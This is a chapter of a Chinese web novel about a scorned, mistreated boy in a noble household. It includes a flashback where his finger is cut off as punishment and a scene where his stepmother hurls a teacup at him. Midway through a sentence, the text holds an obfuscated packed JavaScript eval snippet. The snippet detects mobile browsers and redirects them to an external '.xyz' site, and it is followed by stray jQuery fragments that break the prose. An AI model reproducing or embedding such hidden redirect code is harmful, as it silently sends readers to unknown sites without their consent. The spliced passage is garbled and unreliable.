26. 美丽却也实在愚蠢的嫡母

作品:《庾美人

    二人再相逢已是次年。


    林清樾再也未能在旧日那片草坪上遇到过江兰屿,临行在即,她向江府下人问明了路径,寻至一处僻静院落。


    院门半掩,露出内里光景。一个简陋干净的院子,角落里摆放着几盆不知名的小花,一方青石上垒着几册书和竹简,最上面一本书的纸页,在穿堂风里簌簌翻动。


    少年背门而坐,身影清瘦,仍是去年那身旧衣,袖口处磨起了毛球。


    林清樾没有敲门,她刚踏过门槛,少年便如受惊的雀鸟转过身来,下意识将书往怀里塞。


    “你……”两人异口同声。


    一年不见,他比去年高了许多,面相长开了,但仍然苍白瘦削单薄,林清樾这才发现,那穿在他身上的衣服短了一大截。


    她站在门口,声音带着滞涩:“去年我说过,若来江府会见你一面……你为何没有再去那个草地了……你不想见我么?我们不是朋友么。”


    “明日,我便会随哥哥一起回东都……”


    “就见了那么几次,在这儿装什么熟络?因为你是江府的贵客,我不过是逢场作戏,配合你罢了。你以为只要你想,所有人便该摇尾乞怜,凑上来与你亲近?在这种深宅大院,说要交朋友,这件事本身就是一种欺骗。我一开始虽然没打算陪你玩这种交友游戏,不过如果你想的话,我可以装作你的朋友来配合你。”


    林清樾猝不及防愣在原地,一年的期盼与那点模糊的熟稔,被这突如其来的冰冷话语冻结、碎裂:“我从来没觉得只是几次见面而已!你怎么能这么说呢。”


    江兰屿眼神中闪过一丝复杂的情绪,但很快又被冷漠所掩盖:“那就说明,只有你像个傻子一样,付出了真心。”


    林清樾喉咙里像是堵了一团棉花一样,不知该如何继续。


    偶然相遇、树下闲谈、嬉戏打闹的画面在脑中翻涌,此刻却脆弱得如同泡影。


    “是不是江府的那几个少爷小姐说了什么?!”林清樾戛然而止,她看到了江兰屿的右手,她的心像是被狠狠揪了一下。


    “你的手指怎么了?”她失声道。


    江兰屿身躯一震,把右手藏在身后,手指微微蜷缩,那只手的小拇指少了一半!


    ‘父母之爱子,则为之计深远。’


    ‘也许江大人和我母亲一样,也是有自己不得已的苦衷,毕竟要争取下,不是吗?’


    江兰屿争取了,他受林清樾的鼓舞,第一次主动去找江笑庸,代价便是失去了一根指头。


    对于江笑庸这个名义上的父亲,江兰屿是有过期待的,但那仅限于没见到他之前。他童年最大的错误便是想要去认识他的父亲,那是他人生一切悲惨的开始。


    江兰屿不理解,为什么江笑庸、程夫人、同父异母的兄弟姐妹们,乃至府中下人,都视他如草芥。但他似乎又懂了,你永远无法阻止别人厌弃讨厌你。


    那日,府中张灯结彩,为江笑庸贺寿。


    江兰屿偷偷溜去前院,一个行色匆匆的婢女将一只沉甸甸的紫檀匣子塞到他手里,催促他快些送给程夫人身边的大丫头月桦。


    他不识路,也辨不清人,只按着婢女含糊的指点前行。


    拐角处,一个华服身影猛地冲出,与他撞个满怀!匣子脱手飞出,重重砸在鹅卵石上。


    江兰屿慌忙拾起,打开一看,里面流光溢彩的珠玉,已然碎裂。


    他脑中嗡鸣,下意识抱住那人的腿苦苦哀求,希望对方一同去说明原委。


    那人嫌恶地一脚将他踹开,啐了一口:“哪来的贱种腌臜!我王爷的腿也是你碰得的?”说罢,扬长而去。


    当江兰屿被粗鲁地按跪在程夫人院中时,才第一次看清了江笑庸的面目。


    两个眼睛一个鼻子一张嘴,和普通人一样。可明明大家都长的一样,为什么他却总是感觉比别人多些什么,那眼神里的漠然与居高临下,让江兰屿觉得自己是泥地里的虫豸。


    他甚至不知该如何称呼江笑庸。


    程夫人雍容华贵,同样俯视着江兰屿:“这就是杋离的孩子啊?这张脸生的倒是不错,你打碎了我爹送来的贺礼,我该如何罚你?”


    “夫人,不是我摔碎的,”江兰屿急急辩解,“我是被人撞倒在地,这玉或许在婢女拿给我之前就碎了,请夫人饶恕我……”他连忙把事情的前因后果说了一遍。


    “老爷,”程夫人根本不听,转向江笑庸,声音娇柔却透着狠厉,“拖出去打死算了?”


    江兰屿害怕又震惊,为什么只是摔坏了一个东西就要被打死?


    李杋离来的很及时,她一把将儿子死死护在怀里,只看了一眼碎了的玉便道:“夫人,笑……大人,饶过阿菟吧,这裂痕边缘锐利,分明是与硬物猛力撞击所致!若依那婢女所言,夫人院中皆是平整青砖与鹅卵石,又有外匣保护,怎会摔出这般痕迹?阿菟素来胆小,绝不敢乱闯。分明是有人以碎玉栽赃于他!若需交代,我愿亲赴程老将军府上请罪……”


    “住口,”程夫人勃然色变,厉声打断,似乎极怕李杋离接触她父亲,“你不许再去找我爹,你这个祸害,从小到大都在给我家添麻烦,吃穿用度皆仰赖我家,你不是答应过我……”


    程夫人看江笑庸的脸色晦暗不明,将后半句硬生生咽了回去:“总之,不许再去打搅我爹!”


    “是,那就谢过夫人、大人恩典。”李杋离立刻顺着她的话道。


    她轻拍江兰屿脊背示意他磕头,江兰屿便学着李杋离的样子这样做了。


    程夫人被堵了话头,一时竟不敢接茬。


    所有人都在等江笑庸的决断,一直沉默的他忽然开口:“阿离。”


    “今日,是我生辰。”这话与眼前事毫无干系。


    李杋离垂眸不语。


    江笑庸冷笑一声:“夫人容人,可其他人不能仗着年纪小,便以为做错了事情就可以不需要惩罚。”


    “大人意欲何为?”李杋离抬眼直视他。


    “错了便是错了,阿离。”江笑庸的语气轻描淡写,“不管是何原因,既打碎了夫人的珠玉,要么,赔个一模一样的来。”


    程夫人听到这,眼中尽是得意之色。


    “若赔不起,”江笑庸顿了顿,目光扫过江兰屿,“便断他一只右手吧。”他这语气,就好像只是说去散散步那样简单。


    李杋离瞬间将儿子搂得更紧,声音因愤怒而颤抖:“那庸医满口谎言,算错我怀胎的时日,被截杀在回乡途中,如今死无对证。你不信我,我不怨你!可我从未背叛过你,阿菟更是无辜!你既不曾以父之名养他一日,便也没有资格对他施此酷刑!”


    “你若要断阿菟的手,我也绝不会苟活。”她说的悲壮惨烈。


    江笑庸脸色逐渐难看,但他强忍着没有发火,沉默片刻,从齿缝里挤出:“既如此,断他右手的尾指。”


    欲加之罪,何患无辞,断指之痛,锥心刺骨。


    尽管疼痛难忍,江兰屿还是一声未吭,他死死咬住下唇,直至满口腥甜。


    耳边清晰的响起江笑庸的赞许:“应该挺疼的吧?你还是忍住了,真是乖呀。”


    当夜,江兰屿差点因为止不住血没有挺过去,他醒了后,李杋离没有责备他为什么到处乱走,只抚着他汗湿的额发,调侃道:“大难不死,必有后福。”


    江兰屿心中一片死寂,他知道,他这是贱命难死罢了,他没有告诉李杋离,他听到了人群中有人在骂他野种。


    这些晦暗的回忆再次在脑海中闪过,江兰屿眼底的痛楚瞬间被更深的戾气覆盖,他盯着林清樾,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16082628|179425||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    残忍道:“林小姐,你也太迟钝了,是不是经常能听到别人说你没眼色?”


    林清樾看着他眼中的恶意,心中充满了失望与无奈。


    她抬起手,紧握的掌心传来硬物硌痛感,那是一枚用红绳串着的铜钱,去年江兰屿给的。


    教养与自尊不允许她自己将手里的铜钱砸到江兰屿身上,那铜钱突然开始变得膈手,她翻开手掌,松开红绳,那枚还带着她体温的铜钱,就这么掉到了地上。


    林清樾最后看了他一眼,终究什么也没说,转身离去,消失在小径尽头。


    院中重归死寂,唯有风翻书页的声音。


    江兰屿看着地上那枚孤零零的铜钱,许久,才走过去,缓缓弯腰,用那只完好的左手,把它一点点攥紧,嵌入掌心。


    自那日起,除了有人传唤他,江兰屿再也没有踏出院门一步,两人之间几乎就再也没有见过了。


    不足一月,江兰屿和江煦泽赶回了申都。


    引路的婢女是程梘禾的心腹。


    程梘禾虽从未提过,但只要江兰屿人在江府,他每日必会晨昏定省,风雨无阻。


    通往十愿轩的这条青石小径,他已走了整整两年。


    “四少爷,请稍等。”婢女在紧闭的雕花门前垂手侍立。


    片刻,十愿轩门扉轻启,月桦向江兰屿行了一礼,声音压得极低:“夫人昨夜未休息好,天快亮时才合眼,此刻尚未醒转。”


    月桦,连同这十愿轩内宅里每一个仆妇,都是当年林伯恩精心调教后,随林氏嫁到将军府的旧人,林氏去世后,程爝便安排这些婢女随女儿程梘禾一同陪嫁到江府。


    庭院里,十月寒风凛冽,虽有稀薄的阳光,却驱不散那砭骨的冷意。


    十愿轩种了两株高耸的迎客松,这是当年程梘禾出嫁时,林伯恩花重金买来送给她的新婚礼物之一。


    树下,仆人们正无声地布置曲水流觞的席面,他们擦拭干净案几上昨夜的微尘,捞净水渠中飘零的落叶,杯盏壶具一一归位,井然有序,唯恐惊扰了内宅的寂静。


    江兰屿立在寒风中:“母亲的安康最重要,她平日睡的浅,易惊醒,我去庭院等候传唤。”


    说罢,他便转身朝庭院走去。


    他这位名义上的嫡母,美则美矣,却实在……心思浅白。


    在江府这些年,竟被几个精于算计的妾室隐隐压了一头。两年相处,江兰屿看得分明,程梘禾是个心直口快之人,喜怒哀乐皆显于脸上,譬如眼下这“未醒”的下马威。


    那些后宅阴私,下毒、构陷、买凶、栽赃,程梘禾骨子里是不屑的,否则江府的这些庶子庶女焉能个个平安长大?


    诸老爷早就和江笑庸沆瀣一气,沦为他的爪牙,他那两个在江府为妾的女儿,更是唯父命是从,为了女儿们的前程,诸家背地里那些腌臜勾当,想必没少做。


    而程梘禾能始终稳坐嫡妻之位,除却她身后将军府与九牧世家的威势,恐怕,也少不得十愿轩里这些沉默而忠诚的旧仆,在暗处替她挡开了多少明枪暗箭。


    江兰屿十分不理解,以程梘禾的身份,当年怎会下嫁彼时不过从六品的江笑庸?她本有更好的选择。


    想了一会,是在想不通,他倒是也没有闲着,默诵起昨夜读过的书卷。


    不知过了多久,月桦的身影再次出现在门边,声音依旧不高:“夫人醒了,请少爷进去。”


    江兰屿深吸一口气,抬步迈入那暖香萦绕的内厢。


    刚进一门,一只滚烫的瓷盏裹挟着劲风,狠狠砸在江兰屿的额角!


    茶水混着鲜血沿着江兰屿的下颚线滴落,江兰屿身形只微微一晃,脚步甚至未曾停顿,他径直走向一旁的茶水间,取过干净杯子,重新斟满,然后端着那杯新茶,走到程梘禾面前。